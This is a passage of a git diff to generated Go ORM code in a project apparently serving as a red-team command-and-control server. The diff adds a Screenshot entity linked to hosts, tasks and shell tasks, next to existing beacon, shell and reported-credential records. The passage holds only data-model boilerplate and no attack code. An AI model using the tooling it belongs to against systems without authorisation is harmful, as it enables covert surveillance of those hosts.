screenshot.FieldHash: + return m.Hash() + case screenshot.FieldContent: + return m.Content() + } + return nil, false +} + +// OldField returns the old value of the field from the database. An error is +// returned if the mutation operation is not UpdateOne, or the query to the +// database failed. +func (m *ScreenshotMutation) OldField(ctx context.Context, name string) (ent.Value, error) { + switch name { + case screenshot.FieldCreatedAt: + return m.OldCreatedAt(ctx) + case screenshot.FieldLastModifiedAt: + return m.OldLastModifiedAt(ctx) + case screenshot.FieldName: + return m.OldName(ctx) + case screenshot.FieldSize: + return m.OldSize(ctx) + case screenshot.FieldHash: + return m.OldHash(ctx) + case screenshot.FieldContent: + return m.OldContent(ctx) + } + return nil, fmt.Errorf("unknown Screenshot field %s", name) +} + +// SetField sets the value of a field with the given name. It returns an error if +// the field is not defined in the schema, or if the type mismatched the field +// type. +func (m *ScreenshotMutation) SetField(name string, value ent.Value) error { + switch name { + case screenshot.FieldCreatedAt: + v, ok := value.(time.Time) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetCreatedAt(v) + return nil + case screenshot.FieldLastModifiedAt: + v, ok := value.(time.Time) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetLastModifiedAt(v) + return nil + case screenshot.FieldName: + v, ok := value.(string) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetName(v) + return nil + case screenshot.FieldSize: + v, ok := value.(uint64) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetSize(v) + return nil + case screenshot.FieldHash: + v, ok := value.(string) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetHash(v) + return nil + case screenshot.FieldContent: + v, ok := value.([]byte) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetContent(v) + return nil + } + return fmt.Errorf("unknown Screenshot field %s", name) +} + +// AddedFields returns all numeric fields that were incremented/decremented during +// this mutation. +func (m *ScreenshotMutation) AddedFields() []string { + var fields []string + if m.addsize != nil { + fields = append(fields, screenshot.FieldSize) + } + return fields +} + +// AddedField returns the numeric value that was incremented/decremented on a field +// with the given name. The second boolean return value indicates that this field +// was not set, or was not defined in the schema. +func (m *ScreenshotMutation) AddedField(name string) (ent.Value, bool) { + switch name { + case screenshot.FieldSize: + return m.AddedSize() + } + return nil, false +} + +// AddField adds the value to the field with the given name. It returns an error if +// the field is not defined in the schema, or if the type mismatched the field +// type. +func (m *ScreenshotMutation) AddField(name string, value ent.Value) error { + switch name { + case screenshot.FieldSize: + v, ok := value.(int64) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.AddSize(v) + return nil + } + return fmt.Errorf("unknown Screenshot numeric field %s", name) +} + +// ClearedFields returns all nullable fields that were cleared during this +// mutation. +func (m *ScreenshotMutation) ClearedFields() []string { + var fields []string + if m.FieldCleared(screenshot.FieldHash) { + fields = append(fields, screenshot.FieldHash) + } + if m.FieldCleared(screenshot.FieldContent) { + fields = append(fields, screenshot.FieldContent) + } + return fields +} + +// FieldCleared returns a boolean indicating if a field with the given name was +// cleared in this mutation. +func (m *ScreenshotMutation) FieldCleared(name string) bool { + _, ok := m.clearedFields[name] + return ok +} + +// ClearField clears the value of the field with the given name. It returns an +// error if the field is not defined in the schema. +func (m *ScreenshotMutation) ClearField(name string) error { + switch name { + case screenshot.FieldHash: + m.ClearHash() + return nil + case screenshot.FieldContent: + m.ClearContent() + return nil + } + return fmt.Errorf("unknown Screenshot nullable field %s", name) +} + +// ResetField resets all changes in the mutation for the field with the given name. +// It returns an error if the field is not defined in the schema. +func (m *ScreenshotMutation) ResetField(name string) error { + switch name { + case screenshot.FieldCreatedAt: + m.ResetCreatedAt() + return nil + case screenshot.FieldLastModifiedAt: + m.ResetLastModifiedAt() + return nil + case screenshot.FieldName: + m.ResetName() + return nil + case screenshot.FieldSize: + m.ResetSize() + return nil + case screenshot.FieldHash: + m.ResetHash() + return nil + case screenshot.FieldContent: + m.ResetContent() + return nil + } + return fmt.Errorf("unknown Screenshot field %s", name) +} + +// AddedEdges returns all edge names that were set/added in this mutation. +func (m *ScreenshotMutation) AddedEdges() []string { + edges := make([]string, 0, 3) + if m.host != nil { + edges = append(edges, screenshot.EdgeHost) + } + if m.task != nil { + edges = append(edges, screenshot.EdgeTask) + } + if m.shell_task != nil { + edges = append(edges, screenshot.EdgeShellTask) + } + return edges +} + +// AddedIDs returns all IDs (to other nodes) that were added for the given edge +// name in this mutation. +func (m *ScreenshotMutation) AddedIDs(name string) []ent.Value { + switch name { + case screenshot.EdgeHost: + if id := m.host; id != nil { + return []ent.Value{*id} + } + case screenshot.EdgeTask: + if id := m.task; id != nil { + return []ent.Value{*id} + } + case screenshot.EdgeShellTask: + if id := m.shell_task; id != nil { + return []ent.Value{*id} + } + } + return nil +} + +// RemovedEdges returns all edge names that were removed in this mutation. +func (m *ScreenshotMutation) RemovedEdges() []string { + edges := make([]string, 0, 3) + return edges +} + +// RemovedIDs returns all IDs (to other nodes) that were removed for the edge with +// the given name in this mutation. +func (m *ScreenshotMutation) RemovedIDs(name string) []ent.Value { + return nil +} + +// ClearedEdges returns all edge names that were cleared in this mutation. +func (m *ScreenshotMutation) ClearedEdges() []string { + edges := make([]string, 0, 3) + if m.clearedhost { + edges = append(edges, screenshot.EdgeHost) + } + if m.clearedtask { + edges = append(edges, screenshot.EdgeTask) + } + if m.clearedshell_task { + edges = append(edges, screenshot.EdgeShellTask) + } + return edges +} + +// EdgeCleared returns a boolean which indicates if the edge with the given name +// was cleared in this mutation. +func (m *ScreenshotMutation) EdgeCleared(name string) bool { + switch name { + case screenshot.EdgeHost: + return m.clearedhost + case screenshot.EdgeTask: + return m.clearedtask + case screenshot.EdgeShellTask: + return m.clearedshell_task + } + return false +} + +// ClearEdge clears the value of the edge with the given name. It returns an error +// if that edge is not defined in the schema. +func (m *ScreenshotMutation) ClearEdge(name string) error { + switch name { + case screenshot.EdgeHost: + m.ClearHost() + return nil + case screenshot.EdgeTask: + m.ClearTask() + return nil + case screenshot.EdgeShellTask: + m.ClearShellTask() + return nil + } + return fmt.Errorf("unknown Screenshot unique edge %s", name) +} + +// ResetEdge resets all changes to the edge with the given name in this mutation. +// It returns an error if the edge is not defined in the schema. +func (m *ScreenshotMutation) ResetEdge(name string) error { + switch name { + case screenshot.EdgeHost: + m.ResetHost() + return nil + case screenshot.EdgeTask: + m.ResetTask() + return nil + case screenshot.EdgeShellTask: + m.ResetShellTask() + return nil + } + return fmt.Errorf("unknown Screenshot edge %s", name) +} + +// ShellMutation represents an operation that mutates the Shell nodes in the graph. +type ShellMutation struct { + config + op Op + typ string + id *int + created_at *time.Time + last_modified_at *time.Time + closed_at *time.Time + data *[]byte + clearedFields map[string]struct{} + task *int + clearedtask bool + beacon *int + clearedbeacon bool + owner *int + clearedowner bool + portals map[int]struct{} + removedportals map[int]struct{} + clearedportals bool + active_users map[int]struct{} + removedactive_users map[int]struct{} + clearedactive_users bool + shell_tasks map[int]struct{} + removedshell_tasks map[int]struct{} + clearedshell_tasks bool + done bool + oldValue func(context.Context) (*Shell, error) + predicates []predicate.Shell +} + +var _ ent.Mutation = (*ShellMutation)(nil) + +// shellOption allows management of the mutation configuration using functional options. +type shellOption func(*ShellMutation) + +// newShellMutation creates new mutation for the Shell entity. +func newShellMutation(c config, op Op, opts ...shellOption) *ShellMutation { + m := &ShellMutation{ + config: c, + op: op, + typ: TypeShell, + clearedFields: make(map[string]struct{}), + } + for _, opt := range opts { + opt(m) + } + return m +} + +// withShellID sets the ID field of the mutation. +func withShellID(id int) shellOption { + return func(m *ShellMutation) { + var ( + err error + once sync.Once + value *Shell + ) + m.oldValue = func(ctx context.Context) (*Shell, error) { + once.Do(func() { + if m.done { + err = errors.New("querying old values post mutation is not allowed") + } else { + value, err = m.Client().Shell.Get(ctx, id) + } + }) + return value, err + } + m.id = &id + } +} + +// withShell sets the old Shell of the mutation. +func withShell(node *Shell) shellOption { + return func(m *ShellMutation) { + m.oldValue = func(context.Context) (*Shell, error) { + return node, nil + } + m.id = &node.ID + } +} + +// Client returns a new `ent.Client` from the mutation. If the mutation was +// executed in a transaction (ent.Tx), a transactional client is returned. +func (m ShellMutation) Client() *Client { + client := &Client{config: m.config} + client.init() + return client +} + +// Tx returns an `ent.Tx` for mutations that were executed in transactions; +// it returns an error otherwise. +func (m ShellMutation) Tx() (*Tx, error) { + if _, ok := m.driver.(*txDriver); !ok { + return nil, errors.New("ent: mutation is not running in a transaction") + } + tx := &Tx{config: m.config} + tx.init() + return tx, nil +} + +// ID returns the ID value in the mutation. Note that the ID is only available +// if it was provided to the builder or after it was returned from the database. +func (m *ShellMutation) ID() (id int, exists bool) { + if m.id == nil { + return + } + return *m.id, true +} + +// IDs queries the database and returns the entity ids that match the mutation's predicate. +// That means, if the mutation is applied within a transaction with an isolation level such +// as sql.LevelSerializable, the returned ids match the ids of the rows that will be updated +// or updated by the mutation. +func (m *ShellMutation) IDs(ctx context.Context) ([]int, error) { + switch { + case m.op.Is(OpUpdateOne | OpDeleteOne): + id, exists := m.ID() + if exists { + return []int{id}, nil + } + fallthrough + case m.op.Is(OpUpdate | OpDelete): + return m.Client().Shell.Query().Where(m.predicates...).IDs(ctx) + default: + return nil, fmt.Errorf("IDs is not allowed on %s operations", m.op) + } +} + +// SetCreatedAt sets the "created_at" field. +func (m *ShellMutation) SetCreatedAt(t time.Time) { + m.created_at = &t +} + +// CreatedAt returns the value of the "created_at" field in the mutation. +func (m *ShellMutation) CreatedAt() (r time.Time, exists bool) { + v := m.created_at + if v == nil { + return + } + return *v, true +} + +// OldCreatedAt returns the old "created_at" field's value of the Shell entity. +// If the Shell object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ShellMutation) OldCreatedAt(ctx context.Context) (v time.Time, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldCreatedAt is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldCreatedAt requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldCreatedAt: %w", err) + } + return oldValue.CreatedAt, nil +} + +// ResetCreatedAt resets all changes to the "created_at" field. +func (m *ShellMutation) ResetCreatedAt() { + m.created_at = nil +} + +// SetLastModifiedAt sets the "last_modified_at" field. +func (m *ShellMutation) SetLastModifiedAt(t time.Time) { + m.last_modified_at = &t +} + +// LastModifiedAt returns the value of the "last_modified_at" field in the mutation. +func (m *ShellMutation) LastModifiedAt() (r time.Time, exists bool) { + v := m.last_modified_at + if v == nil { + return + } + return *v, true +} + +// OldLastModifiedAt returns the old "last_modified_at" field's value of the Shell entity. +// If the Shell object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ShellMutation) OldLastModifiedAt(ctx context.Context) (v time.Time, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldLastModifiedAt is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldLastModifiedAt requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldLastModifiedAt: %w", err) + } + return oldValue.LastModifiedAt, nil +} + +// ResetLastModifiedAt resets all changes to the "last_modified_at" field. +func (m *ShellMutation) ResetLastModifiedAt() { + m.last_modified_at = nil +} + +// SetClosedAt sets the "closed_at" field. +func (m *ShellMutation) SetClosedAt(t time.Time) { + m.closed_at = &t +} + +// ClosedAt returns the value of the "closed_at" field in the mutation. +func (m *ShellMutation) ClosedAt() (r time.Time, exists bool) { + v := m.closed_at + if v == nil { + return + } + return *v, true +} + +// OldClosedAt returns the old "closed_at" field's value of the Shell entity. +// If the Shell object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ShellMutation) OldClosedAt(ctx context.Context) (v time.Time, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldClosedAt is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldClosedAt requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldClosedAt: %w", err) + } + return oldValue.ClosedAt, nil +} + +// ClearClosedAt clears the value of the "closed_at" field. +func (m *ShellMutation) ClearClosedAt() { + m.closed_at = nil + m.clearedFields[shell.FieldClosedAt] = struct{}{} +} + +// ClosedAtCleared returns if the "closed_at" field was cleared in this mutation. +func (m *ShellMutation) ClosedAtCleared() bool { + _, ok := m.clearedFields[shell.FieldClosedAt] + return ok +} + +// ResetClosedAt resets all changes to the "closed_at" field. +func (m *ShellMutation) ResetClosedAt() { + m.closed_at = nil + delete(m.clearedFields, shell.FieldClosedAt) +} + +// SetData sets the "data" field. +func (m *ShellMutation) SetData(b []byte) { + m.data = &b +} + +// Data returns the value of the "data" field in the mutation. +func (m *ShellMutation) Data() (r []byte, exists bool) { + v := m.data + if v == nil { + return + } + return *v, true +} + +// OldData returns the old "data" field's value of the Shell entity. +// If the Shell object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ShellMutation) OldData(ctx context.Context) (v []byte, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldData is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldData requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldData: %w", err) + } + return oldValue.Data, nil +} + +// ResetData resets all changes to the "data" field. +func (m *ShellMutation) ResetData() { + m.data = nil +} + +// SetTaskID sets the "task" edge to the Task entity by id. +func (m *ShellMutation) SetTaskID(id int) { + m.task = &id +} + +// ClearTask clears the "task" edge to the Task entity. +func (m *ShellMutation) ClearTask() { + m.clearedtask = true +} + +// TaskCleared reports if the "task" edge to the Task entity was cleared. +func (m *ShellMutation) TaskCleared() bool { + return m.clearedtask +} + +// TaskID returns the "task" edge ID in the mutation. +func (m *ShellMutation) TaskID() (id int, exists bool) { + if m.task != nil { + return *m.task, true + } + return +} + +// TaskIDs returns the "task" edge IDs in the mutation. +// Note that IDs always returns len(IDs) <= 1 for unique edges, and you should use +// TaskID instead. It exists only for internal usage by the builders. +func (m *ShellMutation) TaskIDs() (ids []int) { + if id := m.task; id != nil { + ids = append(ids, *id) + } + return +} + +// ResetTask resets all changes to the "task" edge. +func (m *ShellMutation) ResetTask() { + m.task = nil + m.clearedtask = false +} + +// SetBeaconID sets the "beacon" edge to the Beacon entity by id. +func (m *ShellMutation) SetBeaconID(id int) { + m.beacon = &id +} + +// ClearBeacon clears the "beacon" edge to the Beacon entity. +func (m *ShellMutation) ClearBeacon() { + m.clearedbeacon = true } // BeaconCleared reports if the "beacon" edge to the Beacon entity was cleared. @@ -12913,6 +13856,9 @@ type ShellTaskMutation struct { reported_processes map[int]struct{} removedreported_processes map[int]struct{} clearedreported_processes bool + screenshots map[int]struct{} + removedscreenshots map[int]struct{} + clearedscreenshots bool done bool oldValue func(context.Context) (*ShellTask, error) predicates []predicate.ShellTask @@ -13701,6 +14647,60 @@ func (m *ShellTaskMutation) ResetReportedProcesses() { m.removedreported_processes = nil } +// AddScreenshotIDs adds the "screenshots" edge to the Screenshot entity by ids. +func (m *ShellTaskMutation) AddScreenshotIDs(ids ...int) { + if m.screenshots == nil { + m.screenshots = make(map[int]struct{}) + } + for i := range ids { + m.screenshots[ids[i]] = struct{}{} + } +} + +// ClearScreenshots clears the "screenshots" edge to the Screenshot entity. +func (m *ShellTaskMutation) ClearScreenshots() { + m.clearedscreenshots = true +} + +// ScreenshotsCleared reports if the "screenshots" edge to the Screenshot entity was cleared. +func (m *ShellTaskMutation) ScreenshotsCleared() bool { + return m.clearedscreenshots +} + +// RemoveScreenshotIDs removes the "screenshots" edge to the Screenshot entity by IDs. +func (m *ShellTaskMutation) RemoveScreenshotIDs(ids ...int) { + if m.removedscreenshots == nil { + m.removedscreenshots = make(map[int]struct{}) + } + for i := range ids { + delete(m.screenshots, ids[i]) + m.removedscreenshots[ids[i]] = struct{}{} + } +} + +// RemovedScreenshots returns the removed IDs of the "screenshots" edge to the Screenshot entity. +func (m *ShellTaskMutation) RemovedScreenshotsIDs() (ids []int) { + for id := range m.removedscreenshots { + ids = append(ids, id) + } + return +} + +// ScreenshotsIDs returns the "screenshots" edge IDs in the mutation. +func (m *ShellTaskMutation) ScreenshotsIDs() (ids []int) { + for id := range m.screenshots { + ids = append(ids, id) + } + return +} + +// ResetScreenshots resets all changes to the "screenshots" edge. +func (m *ShellTaskMutation) ResetScreenshots() { + m.screenshots = nil + m.clearedscreenshots = false + m.removedscreenshots = nil +} + // Where appends a list predicates to the ShellTaskMutation builder. func (m *ShellTaskMutation) Where(ps ...predicate.ShellTask) { m.predicates = append(m.predicates, ps...) @@ -14035,7 +15035,7 @@ func (m *ShellTaskMutation) ResetField(name string) error { // AddedEdges returns all edge names that were set/added in this mutation. func (m *ShellTaskMutation) AddedEdges() []string { - edges := make([]string, 0, 5) + edges := make([]string, 0, 6) if m.shell != nil { edges = append(edges, shelltask.EdgeShell) } @@ -14051,6 +15051,9 @@ func (m *ShellTaskMutation) AddedEdges() []string { if m.reported_processes != nil { edges = append(edges, shelltask.EdgeReportedProcesses) } + if m.screenshots != nil { + edges = append(edges, shelltask.EdgeScreenshots) + } return edges } @@ -14084,13 +15087,19 @@ func (m *ShellTaskMutation) AddedIDs(name string) []ent.Value { ids = append(ids, id) } return ids + case shelltask.EdgeScreenshots: + ids := make([]ent.Value, 0, len(m.screenshots)) + for id := range m.screenshots { + ids = append(ids, id) + } + return ids } return nil } // RemovedEdges returns all edge names that were removed in this mutation. func (m *ShellTaskMutation) RemovedEdges() []string { - edges := make([]string, 0, 5) + edges := make([]string, 0, 6) if m.removedreported_credentials != nil { edges = append(edges, shelltask.EdgeReportedCredentials) } @@ -14100,6 +15109,9 @@ func (m *ShellTaskMutation) RemovedEdges() []string { if m.removedreported_processes != nil { edges = append(edges, shelltask.EdgeReportedProcesses) } + if m.removedscreenshots != nil { + edges = append(edges, shelltask.EdgeScreenshots) + } return edges } @@ -14125,13 +15137,19 @@ func (m *ShellTaskMutation) RemovedIDs(name string) []ent.Value { ids = append(ids, id) } return ids + case shelltask.EdgeScreenshots: + ids := make([]ent.Value, 0, len(m.removedscreenshots)) + for id := range m.removedscreenshots { + ids = append(ids, id) + } + return ids } return nil } // ClearedEdges returns all edge names that were cleared in this mutation. func (m *ShellTaskMutation) ClearedEdges() []string { - edges := make([]string, 0, 5) + edges := make([]string, 0, 6) if m.clearedshell { edges = append(edges, shelltask.EdgeShell) } @@ -14147,6 +15165,9 @@ func (m *ShellTaskMutation) ClearedEdges() []string { if m.clearedreported_processes { edges = append(edges, shelltask.EdgeReportedProcesses) } + if m.clearedscreenshots { + edges = append(edges, shelltask.EdgeScreenshots) + } return edges } @@ -14164,6 +15185,8 @@ func (m *ShellTaskMutation) EdgeCleared(name string) bool { return m.clearedreported_files case shelltask.EdgeReportedProcesses: return m.clearedreported_processes + case shelltask.EdgeScreenshots: + return m.clearedscreenshots } return false } @@ -14201,6 +15224,9 @@ func (m *ShellTaskMutation) ResetEdge(name string) error { case shelltask.EdgeReportedProcesses: m.ResetReportedProcesses() return nil + case shelltask.EdgeScreenshots: + m.ResetScreenshots() + return nil } return fmt.Errorf("unknown ShellTask edge %s", name) } @@ -14710,6 +15736,9 @@ type TaskMutation struct { shells map[int]struct{} removedshells map[int]struct{} clearedshells bool + screenshots map[int]struct{} + removedscreenshots map[int]struct{} + clearedscreenshots bool done bool oldValue func(context.Context) (*Task, error) predicates []predicate.Task @@ -15480,6 +16509,60 @@ func (m *TaskMutation) ResetShells() { m.removedshells = nil } +// AddScreenshotIDs adds the "screenshots" edge to the Screenshot entity by ids. +func (m *TaskMutation) AddScreenshotIDs(ids ...int) { + if m.screenshots == nil { + m.screenshots = make(map[int]struct{}) + } + for i := range ids { + m.screenshots[ids[i]] = struct{}{} + } +} + +// ClearScreenshots clears the "screenshots" edge to the Screenshot entity. +func (m *TaskMutation) ClearScreenshots() { + m.clearedscreenshots = true +} + +// ScreenshotsCleared reports if the "screenshots" edge to the Screenshot entity was cleared. +func (m *TaskMutation) ScreenshotsCleared() bool { + return m.clearedscreenshots +} + +// RemoveScreenshotIDs removes the "screenshots" edge to the Screenshot entity by IDs. +func (m *TaskMutation) RemoveScreenshotIDs(ids ...int) { + if m.removedscreenshots == nil { + m.removedscreenshots = make(map[int]struct{}) + } + for i := range ids { + delete(m.screenshots, ids[i]) + m.removedscreenshots[ids[i]] = struct{}{} + } +} + +// RemovedScreenshots returns the removed IDs of the "screenshots" edge to the Screenshot entity. +func (m *TaskMutation) RemovedScreenshotsIDs() (ids []int) { + for id := range m.removedscreenshots { + ids = append(ids, id) + } + return +} + +// ScreenshotsIDs returns the "screenshots" edge IDs in the mutation. +func (m *TaskMutation) ScreenshotsIDs() (ids []int) { + for id := range m.screenshots { + ids = append(ids, id) + } + return +} + +// ResetScreenshots resets all changes to the "screenshots" edge. +func (m *TaskMutation) ResetScreenshots() { + m.screenshots = nil + m.clearedscreenshots = false + m.removedscreenshots = nil +} + // Where appends a list predicates to the TaskMutation builder. func (m *TaskMutation) Where(ps ...predicate.Task) { m.predicates = append(m.predicates, ps...) @@ -15780,7 +16863,7 @@ func (m *TaskMutation) ResetField(name string) error { // AddedEdges returns all edge names that were set/added in this mutation. func (m *TaskMutation) AddedEdges() []string { - edges := make([]string, 0, 6) + edges := make([]string, 0, 7) if m.quest != nil { edges = append(edges, task.EdgeQuest) } @@ -15799,6 +16882,9 @@ func (m *TaskMutation) AddedEdges() []string { if m.shells != nil { edges = append(edges, task.EdgeShells) } + if m.screenshots != nil { + edges = append(edges, task.EdgeScreenshots) + } return edges } @@ -15838,13 +16924,19 @@ func (m *TaskMutation) AddedIDs(name string) []ent.Value { ids = append(ids, id) } return ids + case task.EdgeScreenshots: + ids := make([]ent.Value, 0, len(m.screenshots)) + for id := range m.screenshots { + ids = append(ids, id) + } + return ids } return nil } // RemovedEdges returns all edge names that were removed in this mutation. func (m *TaskMutation) RemovedEdges() []string { - edges := make([]string, 0, 6) + edges := make([]string, 0, 7) if m.removedreported_files != nil { edges = append(edges, task.EdgeReportedFiles) } @@ -15857,6 +16949,9 @@ func (m *TaskMutation) RemovedEdges() []string { if m.removedshells != nil { edges = append(edges, task.EdgeShells) } + if m.removedscreenshots != nil { + edges = append(edges, task.EdgeScreenshots) + } return edges } @@ -15888,13 +16983,19 @@ func (m *TaskMutation) RemovedIDs(name string) []ent.Value { ids = append(ids, id) } return ids + case task.EdgeScreenshots: + ids := make([]ent.Value, 0, len(m.removedscreenshots)) + for id := range m.removedscreenshots { + ids = append(ids, id) + } + return ids } return nil } // ClearedEdges returns all edge names that were cleared in this mutation. func (m *TaskMutation) ClearedEdges() []string { - edges := make([]string, 0, 6) + edges := make([]string, 0, 7) if m.clearedquest { edges = append(edges, task.EdgeQuest) } @@ -15913,6 +17014,9 @@ func (m *TaskMutation) ClearedEdges() []string { if m.clearedshells { edges = append(edges, task.EdgeShells) } + if m.clearedscreenshots { + edges = append(edges, task.EdgeScreenshots) + } return edges } @@ -15932,6 +17036,8 @@ func (m *TaskMutation) EdgeCleared(name string) bool { return m.clearedreported_credentials case task.EdgeShells: return m.clearedshells + case task.EdgeScreenshots: + return m.clearedscreenshots } return false } @@ -15972,6 +17078,9 @@ func (m *TaskMutation) ResetEdge(name string) error { case task.EdgeShells: m.ResetShells() return nil + case task.EdgeScreenshots: + m.ResetScreenshots() + return nil } return fmt.Errorf("unknown Task edge %s", name) } diff --git a/tavern/internal/ent/portal.go b/tavern/internal/ent/portal.go index b321662fa..4b0773fd8 100644 --- a/tavern/internal/ent/portal.go +++ b/tavern/internal/ent/portal.go @@ -42,7 +42,7 @@ type Portal struct { type PortalEdges struct { // Task that created the portal Task *Task `json:"task,omitempty"` - // ShellTask that created the portal + // ShellTask that created the portal (if applicable) ShellTask *ShellTask `json:"shell_task,omitempty"` // Beacon that created the portal Beacon *Beacon `json:"beacon,omitempty"` diff --git a/tavern/internal/ent/predicate/predicate.go b/tavern/internal/ent/predicate/predicate.go index 4e4fb2c0a..41f67cfe5 100644 --- a/tavern/internal/ent/predicate/predicate.go +++ b/tavern/internal/ent/predicate/predicate.go @@ -42,6 +42,9 @@ type Quest func(*sql.Selector) // Repository is the predicate function for repository builders. type Repository func(*sql.Selector) +// Screenshot is the predicate function for screenshot builders. +type Screenshot func(*sql.Selector) + // Shell is the predicate function for shell builders. type Shell func(*sql.Selector) diff --git a/tavern/internal/ent/privacy/privacy.go b/tavern/internal/ent/privacy/privacy.go index 983aa36d6..3198701ae 100644 --- a/tavern/internal/ent/privacy/privacy.go +++ b/tavern/internal/ent/privacy/privacy.go @@ -398,6 +398,30 @@ func (f RepositoryMutationRuleFunc) EvalMutation(ctx context.Context, m ent.Muta return Denyf("ent/privacy: unexpected mutation type %T, expect *ent.RepositoryMutation", m) } +// The ScreenshotQueryRuleFunc type is an adapter to allow the use of ordinary +// functions as a query rule. +type ScreenshotQueryRuleFunc func(context.Context, *ent.ScreenshotQuery) error + +// EvalQuery return f(ctx, q). +func (f ScreenshotQueryRuleFunc) EvalQuery(ctx context.Context, q ent.Query) error { + if q, ok := q.(*ent.ScreenshotQuery); ok { + return f(ctx, q) + } + return Denyf("ent/privacy: unexpected query type %T, expect *ent.ScreenshotQuery", q) +} + +// The ScreenshotMutationRuleFunc type is an adapter to allow the use of ordinary +// functions as a mutation rule. +type ScreenshotMutationRuleFunc func(context.Context, *ent.ScreenshotMutation) error + +// EvalMutation calls f(ctx, m). +func (f ScreenshotMutationRuleFunc) EvalMutation(ctx context.Context, m ent.Mutation) error { + if m, ok := m.(*ent.ScreenshotMutation); ok { + return f(ctx, m) + } + return Denyf("ent/privacy: unexpected mutation type %T, expect *ent.ScreenshotMutation", m) +} + // The ShellQueryRuleFunc type is an adapter to allow the use of ordinary // functions as a query rule. type ShellQueryRuleFunc func(context.Context, *ent.ShellQuery) error diff --git a/tavern/internal/ent/runtime/runtime.go b/tavern/internal/ent/runtime/runtime.go index 251c04cea..12ee1bddd 100644 --- a/tavern/internal/ent/runtime/runtime.go +++ b/tavern/internal/ent/runtime/runtime.go @@ -18,6 +18,7 @@ import ( "realm.pub/tavern/internal/ent/quest" "realm.pub/tavern/internal/ent/repository" "realm.pub/tavern/internal/ent/schema" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/shelltask" "realm.pub/tavern/internal/ent/tag" @@ -360,6 +361,37 @@ func init() { repositoryDescPrivateKey := repositoryFields[2].Descriptor() // repository.PrivateKeyValidator is a validator for the "private_key" field. It is called by the builders before save. repository.PrivateKeyValidator = repositoryDescPrivateKey.Validators[0].(func(string) error) + screenshotMixin := schema.Screenshot{}.Mixin() + screenshotHooks := schema.Screenshot{}.Hooks() + screenshot.Hooks[0] = screenshotHooks[0] + screenshotMixinFields0 := screenshotMixin[0].Fields() + _ = screenshotMixinFields0 + screenshotFields := schema.Screenshot{}.Fields() + _ = screenshotFields + // screenshotDescCreatedAt is the schema descriptor for created_at field. + screenshotDescCreatedAt := screenshotMixinFields0[0].Descriptor() + // screenshot.DefaultCreatedAt holds the default value on creation for the created_at field. + screenshot.DefaultCreatedAt = screenshotDescCreatedAt.Default.(func() time.Time) + // screenshotDescLastModifiedAt is the schema descriptor for last_modified_at field. + screenshotDescLastModifiedAt := screenshotMixinFields0[1].Descriptor() + // screenshot.DefaultLastModifiedAt holds the default value on creation for the last_modified_at field. + screenshot.DefaultLastModifiedAt = screenshotDescLastModifiedAt.Default.(func() time.Time) + // screenshot.UpdateDefaultLastModifiedAt holds the default value on update for the last_modified_at field. + screenshot.UpdateDefaultLastModifiedAt = screenshotDescLastModifiedAt.UpdateDefault.(func() time.Time) + // screenshotDescName is the schema descriptor for name field. + screenshotDescName := screenshotFields[0].Descriptor() + // screenshot.NameValidator is a validator for the "name" field. It is called by the builders before save. + screenshot.NameValidator = screenshotDescName.Validators[0].(func(string) error) + // screenshotDescSize is the schema descriptor for size field. + screenshotDescSize := screenshotFields[1].Descriptor() + // screenshot.DefaultSize holds the default value on creation for the size field. + screenshot.DefaultSize = screenshotDescSize.Default.(uint64) + // screenshot.SizeValidator is a validator for the "size" field. It is called by the builders before save. + screenshot.SizeValidator = screenshotDescSize.Validators[0].(func(uint64) error) + // screenshotDescHash is the schema descriptor for hash field. + screenshotDescHash := screenshotFields[2].Descriptor() + // screenshot.HashValidator is a validator for the "hash" field. It is called by the builders before save. + screenshot.HashValidator = screenshotDescHash.Validators[0].(func(string) error) shellMixin := schema.Shell{}.Mixin() shellMixinFields0 := shellMixin[0].Fields() _ = shellMixinFields0 diff --git a/tavern/internal/ent/schema/host.go b/tavern/internal/ent/schema/host.go index 3d10e2a16..966855023 100644 --- a/tavern/internal/ent/schema/host.go +++ b/tavern/internal/ent/schema/host.go @@ -99,6 +99,13 @@ func (Host) Edges() []ent.Edge { entgql.MultiOrder(), ). Comment("Credentials reported from this host system."), + edge.From("screenshots", Screenshot.Type). + Ref("host"). + Annotations( + entgql.RelayConnection(), + entgql.MultiOrder(), + ). + Comment("Screenshots reported from this host system."), } } diff --git a/tavern/internal/ent/schema/screenshot.go b/tavern/internal/ent/schema/screenshot.go new file mode 100644 index 000000000..f92bc3d41 --- /dev/null +++ b/tavern/internal/ent/schema/screenshot.go @@ -0,0 +1,136 @@ +package schema + +import ( + "context" + "fmt" + + 